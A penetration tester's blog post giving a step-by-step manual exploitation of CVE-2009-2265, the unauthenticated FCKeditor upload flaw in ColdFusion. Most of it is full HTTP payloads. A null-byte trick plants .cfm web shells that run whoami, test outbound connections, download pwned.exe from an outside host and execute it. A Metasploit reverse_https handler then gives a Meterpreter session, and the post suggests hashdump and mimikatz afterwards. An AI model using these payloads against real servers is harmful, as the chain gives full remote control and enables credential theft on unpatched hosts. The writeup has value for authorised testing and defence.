Manually Penetrating the FCKedit Vulnerability – CVE-2009-2265

I am seeing more and more scenarios where for whatever reason, the Metasploit modules, and modules from commercial solutions I use, aren’t successful against a known vulnerable host. This is often due to DEP or antivirus protections that I discussed here and again here. There can also be other security mechanisms at play from time to time. In any case, I decided to blog about manual techniques for some of these as I come across them. Today, I am going to give a brief overview of exploiting the FCKeditor vulnerability referenced in CVE-2009-2265.

This post is going to make a few assumptions:

  • The target is running a Windows operating system
  • The target is vulnerable due to unpatched ColdFusion software
  • The default ColdFusion FCKeditorpath is used
    (/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm)
  • The default file upload path is used (/userfiles/file/)

There are several examples for exploiting this vulnerability in PHP based applications so I wanted to focus on something different. I did, however, use these examples as well as the Metasploit code for this vulnerability in helping me craft my payloads for the ColdFusion affected host.

First things first, if you have run a vulnerability scan against a system and this vulnerability pops up against an Adobe ColdFusion host, you will need to manually validate. I like to first just validate that I can perform an unauthenticated text file upload. Note that in the following payloads I have used a random IP and in some cases may have slightly changed the content (file names and such) so that the ‘Content-Length’ portion of the payload is incorrect (I tried to fix this where I realized it). If testing out these payloads, run it through Burp Suite and the ‘Content-Length’ header will be automagically changed to the correct value.

Upload a simple text file:

  POST /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/
  upload.cfm?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0
  Host: 111.111.11.11
  Content-Length: 142
  Content-Type: multipart/form-data; boundary=o0oOo0o
  Connection: close

  --o0oOo0o
  Content-Disposition: form-data; name="NewFile"; filename="command.txt"
  Content-Type: text/html

  Command Test File
  --o0oOo0o--

 
This will upload a file named ‘command.txt’ to the site at ‘/userfiles/file/command.txt.’ This would then be confirmed by accessing ‘http://111.111.11.11/userfiles/file/command.txt.’

Ok, so if that works we now need to figure out whether we can actually execute an arbitrary command. This is where differences between exploiting PHP versions versus ColdFusion comes in to play. I did some Googling around and found that the <cfexecute> tag will do the trick. So we need to upload a file with an extension of ‘.cfm’ so that the server will execute it as ColdFusion code, and we need to use the <cfexecute> tag. Some documentation for this tag can be found on Adobe’s site here. Personally, I like to see what my privilege level is going to be when I compromise the host so I like to run the ‘whoami.exe’ command, which will provide the DOMAIN\Username.

The tag should then look something like:

  <cfexecute name="whoami.exe" arguments="" timeout="30" variable="pwned"/>

 
This tag says to execute the ‘whoami.exe’ program, passing no arguments, and ColdFusion will wait for up to 30 seconds for output from the program. We also need to capture the output and display this to the browser to confirm the ability to execute the program, which is where the ‘variable’ attribute above comes in.

Googling around some more we want to disable debug and HTML output, found in this reference here:

  <cfsetting enablecfoutputonly="yes" showdebugoutput="no">

 
Finally, we want to capture and display the output, which is done with the <cfoutput> tag:

   <cfoutput>#pwned#</cfoutput>

 
The <cfexecute> tag will store the output of the command we want to run in a variable named ‘pwned’ described in the ‘variable’ attribute of the tag. The <cfoutput> tag will then echo the contents of the ‘pwned’ variable to the browser.

Putting this all together, the request payload will look like:

  POST /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/
  upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/who.cfm%00 HTTP/1.0
  Host: 111.111.11.11
  Content-Length: 287
  Content-Type: multipart/form-data; boundary=o0oOo0o
  Connection: close

  --o0oOo0o
  Content-Disposition: form-data; name="NewFile"; filename="who.txt"
  Content-Type: text/plain

  <cfsetting enablecfoutputonly="yes" showdebugoutput="no">
  <cfexecute name="whoami.exe" arguments="" timeout="30" variable="pwned"/>
  <cfoutput>#pwned#</cfoutput>
  --o0oOo0o--

 
The %00 null byte at the end of the ‘CurrentFolder’ parameter causes the FCKeditor program to create the filename provided before it, in this case ‘who.cfm’ instead of the filename in the request of ‘who.txt.’ All other portions of the request were previously described. This would then be executed and the results output to the browser by accessing ‘http://111.111.11.11/userfiles/file/who.cfm.&#8217;

In my experience, if the site is vulnerable then they are running an outdated version of Adobe ColdFusion on an older Windows operating system (usually Windows 2003 Server) that is not configured well. The result of this command is frequently ‘nt authority\system’, which is fantastic from an exploitation perspective as once I successfully exploit the vulnerability I will have privileged access.

The next step I like to take is to validate what ports I can use to make OUTBOUND connections from the victim server to my penetration testing host. Using the ‘mstsc.exe’ command on Windows works well for this test. The request payload looks something like:

  POST /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/
  upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/rdp.cfm%00 HTTP/1.0
  Host: 111.111.11.11
  Content-Length: 300
  Content-Type: multipart/form-data; boundary=o0oOo0o
  Connection: close

  --o0oOo0o
  Content-Disposition: form-data; name="NewFile"; filename="rdp.txt"
  Content-Type: text/plain

  <cfsetting enablecfoutputonly="yes" showdebugoutput="no">
  <cfexecute name="mstsc.exe" arguments="/v:1.1.1.1:443" timeout="30" variable="pwned"/>
  <cfoutput>#pwned#</cfoutput>
  --o0oOo0o--

 
This will create a file called ‘rdp.cfm’, located in the ‘/userfiles/files/’ directory on the server that when executed would attempt to use the ‘mstsc.exe’ Terminal Services client to connect back to the host at 1.1.1.1 over port 443 (using the ‘arguments’ attribute). I like to use 443 if possible because then I can build a Meterpreter executable that uses the windows/meterpreter/reverse_https payload to look like a standard HTTPS request over the standard HTTPS port. I then use tcpdump to monitor for port 443 traffic to 1.1.1.1, and if I see any traffic from the attacked network range then I know it can connect back over that port. If TCP port 443 doesn’t work for you, try some others such as FTP, SMTP, DNS, and HTTP (TCP/21, TCP/25, TCP/53, and TCP/80) as examples.

There are a few ways now that we can compromise the host. We can continue to execute commands like this, adding our own account and what not (slow and lame), we can add an account using the above technique and then upload something like VNC to remote back to a VNC listener (slow and potentially limited), or we can upload our own Meterpreter executable and have full Metasploit capabilities (yes, please).

I know that I wrote a few blog posts on creating your own executable capable of bypassing both AV and DEP, but this is a waste of time. I didn’t realize that Veil included the technique for bypassing DEP described here in its payloads. Veil is much easier to use than compiling your own executables, so while I appreciate what I learned in the creation of those posts, I will use Veil for the time being.

We might be able to use ‘ftp.exe’ in one of the payloads above to download a Meterpreter executable, but this seems complicated so I researched how it could be done using ColdFusion. Fortunately, ColdFusion provides the <cfhttp> tag for just this purpose.

Here’s an example payload:

  POST /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/
  upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/cfdownload.cfm%00 
  HTTP/1.0
  Host: 111.111.11.11
  Content-Length: 278
  Content-Type: multipart/form-data; boundary=o0oOo0o
  Connection: close

  --o0oOo0o
  Content-Disposition: form-data; name="NewFile"; filename="cfdownload.txt"
  Content-Type: text/plain

  <cfsetting enablecfoutputonly="yes" showdebugoutput="no">
  <cfhttp method="get" url="https://1.1.1.1/pwned.exe" path="c:\" file="pwned.exe" />
  --o0oOo0o--

 
This will create a file called ‘cfdownload.cfm’ located in the ‘/userfiles/files/’ directory on the server that when executed will access the file hosted at ‘https://1.1.1.1/pwned.exe&#8217; and then save it to the ‘C:\’ drive on the victim server as ‘pwned.exe.’ There are many other options with the <cfhttp> tag but those were the only options that were needed. If the application isn’t running under a privileged account such as ‘NT AUTHORITY\SYSTEM’, then you will probably need to select a different location for the file. On Windows 2008 and 2012 boxes, a typical world-write location would be ‘C:\Users\Public\Documents.’ On Windows 2003 systems you might be able to use ‘C:\Documents and Settings\All Users\Documents.’

Now that we have the executable uploaded, all that is left is to start a listener on our penetration testing host, and execute the file on the victim.

On the penetration testing host within Metasploit we use:

  use multi/handler
  set PAYLOAD windows/meterpreter/reverse_https
  set LHOST=1.1.1.1
  set LPORT=443
  run

 
Finally, we create a file on the host that when executed will call our uploaded Meterpreter executable. Here is an example request payload:

  POST /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/
  upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/exec.cfm%00 HTTP/1.0
  Host: 111.111.11.11
  Content-Length: 257
  Content-Type: multipart/form-data; boundary=o0oOo0o
  Connection: close

  --o0oOo0o
  Content-Disposition: form-data; name="NewFile"; filename="exec.txt"
  Content-Type: text/plain

  <cfsetting enablecfoutputonly="yes" showdebugoutput="no">
  <cfexecute name="C:\pwned.exe" arguments="" timeout="30" variable="pwned"/>
  --o0oOo0o--

 
This will create a file called ‘exec.cfm’ located in the ‘/userfiles/files/’ directory on the server that when executed will run our uploaded Meterpreter executable. If everything was done correctly, then we now have a Meterpreter session with the host and can start runing hashdump, loading incognito and mimikatz, and doing other really fun stuff.

Happy Hunting!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: